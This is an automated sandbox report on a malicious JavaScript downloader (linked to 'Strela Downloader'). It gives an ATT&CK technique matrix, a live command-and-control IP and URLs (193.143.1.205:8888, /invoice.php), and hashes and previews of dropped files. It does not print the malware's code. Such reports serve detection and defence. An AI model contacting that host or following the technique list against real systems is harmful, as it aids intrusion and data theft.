Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
213045010931018335.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/0	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/pace&(	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.3027684088.00000193B7200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	edb.log.8.dr	false		high
http://193.143.1.205:8888/0	net.exe, 00000006.00000002.1839959644.000002212414B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1839490626.000002212414B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1839898319.0000022124118000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	qmgr.db.8.dr, edb.log.8.dr	false		high
http://193.143.1.205:8888/pace&(	net.exe, 00000006.00000002.1839898319.0000022124118000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587832
Start date and time:	2025-01-10 18:21:53 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	213045010931018335.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.16.168.107, 2.16.168.105, 184.28.88.176, 3.219.243.226, 3.233.129.217, 52.22.41.97, 52.6.155.20, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 2.22.242.123, 2.22.242.11, 4.175.87.197, 23.195.92.153, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 213045010931018335.js

Simulations

Behavior and APIs

Time	Type	Description
12:22:55	API Interceptor	34x Sleep call for process: powershell.exe modified
12:23:00	API Interceptor	1x Sleep call for process: net.exe modified
12:23:01	API Interceptor	2x Sleep call for process: svchost.exe modified
12:23:13	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	229242754773566299.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17048156412338914445.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1474915939307712026.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	229242754773566299.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17048156412338914445.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1474915939307712026.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2486775641261320080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	647915480318827205.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.307350461017293
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrx:KooCEYhgYEL0In
MD5:	8C4A1A343F0FF87AA23B89A780978096
SHA1:	A7FEE138C8C4E991F755307BACA5D5DEC0DE7A4F
SHA-256:	BBC58684D179473137C8B318AF94DFCD5B98CD2C6EB2B59DC58CDE294B5FE110
SHA-512:	B28D416D359270DEF02FDE7D7CAD4737E5095163B28CED97D755B3B05EC59E1F7B316AFC8CC071500C7D66C70FE5A2EB6B3AEEF23222CA51AC2D96BDE581FE66
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa99851d5, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221402401898615
Encrypted:	false
SSDEEP:	1536:JSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Jaza/vMUM2Uvz7DO
MD5:	CED7477D936560C7D6B13CCDEF8F1886
SHA1:	77B6C92705446F92A0D78FA70E291D6DCF2822F4
SHA-256:	E1AB4D7EE945DEFD9DD58065E99D6C7EDBC4A9A40B1AD1EF0295DD369CD7D3D1
SHA-512:	1FAEF68D17E5DF99C84C35A991CA9D6AD3752F20BE9BAAF5EE7122035428A34230264FBBBB11CF37C23DC0C966D2F4B079002ED5782E6A00D033924F3901E533
Malicious:	false
Preview:	..Q.... .......A.......X\...;...{......................0.!..........{A......}Y.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{....................................Uu.....}...................T\......}y..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0764421126838834
Encrypted:	false
SSDEEP:	3:A9EYeXFjjn13a/EyjYaallcVO/lnlZMxZNQl:A9EzXFj53qbjaOewk
MD5:	5EA650A5B4B84CCEF6FC272262D0E55E
SHA1:	8653B532987FA51BCBADDBA331DF8FF6333403E8
SHA-256:	1432BD116F6BA0355F91AE2F5684E5081BDF031251066BA19B3B8A6AF8D96749
SHA-512:	3E3DCD926632BC3A84AD702487E42CF9F73D92B11ABADF739985B51BBA34B088B82EDC170B5C4D5C0DE1F8C4B618FD38D52C85F96043B6EBF70E0960147446E5
Malicious:	false
Preview:	........................................;...{.......}y......{A..............{A......{A..........{A].................T\......}y.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.0798168943278625
Encrypted:	false
SSDEEP:	6:iO4mIq2Pwkn2nKuAl9OmbnIFUtSMZmwseCkwOwkn2nKuAl9OmbjLJ:7lIvYfHAahFUtP/1C5JfHAaSJ
MD5:	34019B6FAE9A48813D9E4A04D6F75042
SHA1:	D8A1EBB8D622DA193A7D978C646F6F21624D06B2
SHA-256:	A72BE89C3D2BF5330C0D2E4E36DF50E65790B38AF1092CC7437EE320E5CAD421
SHA-512:	812A92F1F44143958D6E8F8E3A168540551833487619AD75659F79A81D32A9FF905B10F7518607B99FA3B128C3FE14018C36F06D01D30F12F3C0ECBAAA78099B
Malicious:	false
Preview:	2025/01/10-12:23:02.230 a60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:23:02.232 a60 Recovering log #3.2025/01/10-12:23:02.233 a60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.0798168943278625
Encrypted:	false
SSDEEP:	6:iO4mIq2Pwkn2nKuAl9OmbnIFUtSMZmwseCkwOwkn2nKuAl9OmbjLJ:7lIvYfHAahFUtP/1C5JfHAaSJ
MD5:	34019B6FAE9A48813D9E4A04D6F75042
SHA1:	D8A1EBB8D622DA193A7D978C646F6F21624D06B2
SHA-256:	A72BE89C3D2BF5330C0D2E4E36DF50E65790B38AF1092CC7437EE320E5CAD421
SHA-512:	812A92F1F44143958D6E8F8E3A168540551833487619AD75659F79A81D32A9FF905B10F7518607B99FA3B128C3FE14018C36F06D01D30F12F3C0ECBAAA78099B
Malicious:	false
Preview:	2025/01/10-12:23:02.230 a60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:23:02.232 a60 Recovering log #3.2025/01/10-12:23:02.233 a60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.12981319142859
Encrypted:	false
SSDEEP:	6:iO4PM+q2Pwkn2nKuAl9Ombzo2jMGIFUtS6Zmws6pMVkwOwkn2nKuAl9Ombzo2jM4:70M+vYfHAa8uFUtR/lpMV5JfHAa8RJ
MD5:	A48FD0EAE3589D97DCFAD4DC1B0E8142
SHA1:	E51C069B04997A47E15F67C4B6DC6CAEE6E037E0
SHA-256:	7EE62FF5331BA5D04AFA801BEBB5731E5A1BAFD0904000AEFE767BE0D1DE0059
SHA-512:	0CCD755D1416ED1FEBFFC40631752979B334FC135E9FCBE8534159D911DC53DBAEA95CB5F48E40F7E0B8F08CC2078E2BC6D29789F9725AD7A026BE39989D92F6
Malicious:	false
Preview:	2025/01/10-12:23:02.271 a6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:23:02.273 a6c Recovering log #3.2025/01/10-12:23:02.278 a6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.12981319142859
Encrypted:	false
SSDEEP:	6:iO4PM+q2Pwkn2nKuAl9Ombzo2jMGIFUtS6Zmws6pMVkwOwkn2nKuAl9Ombzo2jM4:70M+vYfHAa8uFUtR/lpMV5JfHAa8RJ
MD5:	A48FD0EAE3589D97DCFAD4DC1B0E8142
SHA1:	E51C069B04997A47E15F67C4B6DC6CAEE6E037E0
SHA-256:	7EE62FF5331BA5D04AFA801BEBB5731E5A1BAFD0904000AEFE767BE0D1DE0059
SHA-512:	0CCD755D1416ED1FEBFFC40631752979B334FC135E9FCBE8534159D911DC53DBAEA95CB5F48E40F7E0B8F08CC2078E2BC6D29789F9725AD7A026BE39989D92F6
Malicious:	false
Preview:	2025/01/10-12:23:02.271 a6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:23:02.273 a6c Recovering log #3.2025/01/10-12:23:02.278 a6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\16a64a17-1f4a-4ccf-9ef3-a2ccb066bf63.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9655162853550765
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqZUTU/sBdOg2H4Tfcaq3QYiubInP7E4T3y:Y2sRdsvdMHD3QYhbG7nby
MD5:	D0EF871561F964C19E1BAAD280EDADEA
SHA1:	B295F18D8ED34D8FB9CA11F69F71B8393CDBCED8
SHA-256:	A0A3992AC4F4361FE90A50292A5E412E9D4ED5472EAB61E447F534A80201116D
SHA-512:	55EE654B13F279BC2630A2422289384A4DBDA5F06EBCC78B72786AE76BCD1E313D90D48EB4E4B0C82D806164D9A8891533F365E29B135EBB539C8747632CA1B5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381089793161425","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":158284},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9655162853550765
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqZUTU/sBdOg2H4Tfcaq3QYiubInP7E4T3y:Y2sRdsvdMHD3QYhbG7nby
MD5:	D0EF871561F964C19E1BAAD280EDADEA
SHA1:	B295F18D8ED34D8FB9CA11F69F71B8393CDBCED8
SHA-256:	A0A3992AC4F4361FE90A50292A5E412E9D4ED5472EAB61E447F534A80201116D
SHA-512:	55EE654B13F279BC2630A2422289384A4DBDA5F06EBCC78B72786AE76BCD1E313D90D48EB4E4B0C82D806164D9A8891533F365E29B135EBB539C8747632CA1B5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381089793161425","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":158284},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.254716635833089
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7AXV:etJCV4FiN/jTN/2r8Mta02fEhgO73goK
MD5:	E74E364D9076033078639B52EDB9A506
SHA1:	47452B8D692119D9A2418C428855449E907BA13E
SHA-256:	D36D9CB9D00EF02EA0F2B35DDF4BED81BB7CF6C5A19599D07A810BE1BE04DA14
SHA-512:	2C522FF89BCCE9F2E8C226E4F6C07DAF1C49D2ED586CA267B6267905BB8D82FB3C5B355419F247DBA904EA637E418302F207AC4DA04530823DCF09E2BEC7E9A7
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.146388850867776
Encrypted:	false
SSDEEP:	6:iO4NZMM+q2Pwkn2nKuAl9OmbzNMxIFUtSNk6ZmwsNvElMVkwOwkn2nKuAl9OmbzE:7sZMM+vYfHAa8jFUt6k6/oEMV5JfHAab
MD5:	197B0293A8F3A12773B3D1290FFE2949
SHA1:	498F4867A1C916C01B06599CF5B9D72E36279933
SHA-256:	2BAC41FA0A521A6B3D099A99071D9E35633426B1EFD1490268926AA22C586661
SHA-512:	E033F8C82715C2A552390D5CB0ECDDCEB585C8D6E85984E7B90EC62F442903B80B2B2E1C306A7A15E43E0DCDD695703CEE5B716334A4915AABD646DCDF52679B
Malicious:	false
Preview:	2025/01/10-12:23:03.239 a6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:23:03.264 a6c Recovering log #3.2025/01/10-12:23:03.282 a6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.146388850867776
Encrypted:	false
SSDEEP:	6:iO4NZMM+q2Pwkn2nKuAl9OmbzNMxIFUtSNk6ZmwsNvElMVkwOwkn2nKuAl9OmbzE:7sZMM+vYfHAa8jFUt6k6/oEMV5JfHAab
MD5:	197B0293A8F3A12773B3D1290FFE2949
SHA1:	498F4867A1C916C01B06599CF5B9D72E36279933
SHA-256:	2BAC41FA0A521A6B3D099A99071D9E35633426B1EFD1490268926AA22C586661
SHA-512:	E033F8C82715C2A552390D5CB0ECDDCEB585C8D6E85984E7B90EC62F442903B80B2B2E1C306A7A15E43E0DCDD695703CEE5B716334A4915AABD646DCDF52679B
Malicious:	false
Preview:	2025/01/10-12:23:03.239 a6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:23:03.264 a6c Recovering log #3.2025/01/10-12:23:03.282 a6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444705492416588
Encrypted:	false
SSDEEP:	384:yezci5tuiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rBs3OazzU89UTTgUL
MD5:	D32100E61E86EA6723552AF30033FF53
SHA1:	95DB5C4F3421A5FE5EE74EA5A961E79DA98BC9F3
SHA-256:	1FB8E354A0C95BDB929D82615D9BA7C7DBDC46BF530F8ADBAD57FF0B409C0BED
SHA-512:	530B0084D6435546FF0EA62EC1F58B1FFC1A025FD6D7B3E2CC08209C63BFB668D0FBB06C15C430A90220E8EE9E82D936B512701F495700EAF5E459A9A6A44F9E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7728380296288773
Encrypted:	false
SSDEEP:	48:7M7p/E2ioyVNioy9oWoy1Cwoy1lKOioy1noy1AYoy1Wioy1hioybioy5oy1noy1f:7QpjuNFcXKQ0Eb9IVXEBodRBki
MD5:	00B3F9CE84317D6155AB2E55E10BCA9B
SHA1:	353D2DD7BDDB4666E88E9B05437D48106D2306F4
SHA-256:	5C751902843C2B7B23F09D640B189CD1B9A62F6382BC5D19D847A28303DE5987
SHA-512:	4D68B395C47EBA07A3CD708EDC42665491E925EB74AF9D5EB796BDC7042C17A4FD3EABD3854E62A0FC3C5BF7E6B14703C954157329BA9B8BB5AAD46F17CBD015
Malicious:	false
Preview:	.... .c.....pj.?...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.756362279777723
Encrypted:	false
SSDEEP:	3:kkFklAbGRltfllXlE/HT8k4tNNX8RolJuRdxLlGB9lQRYwpDdt:kKZueT8bTNMa8RdWBwRd
MD5:	F4346136788A1FFCBAAEECCE19934EAD
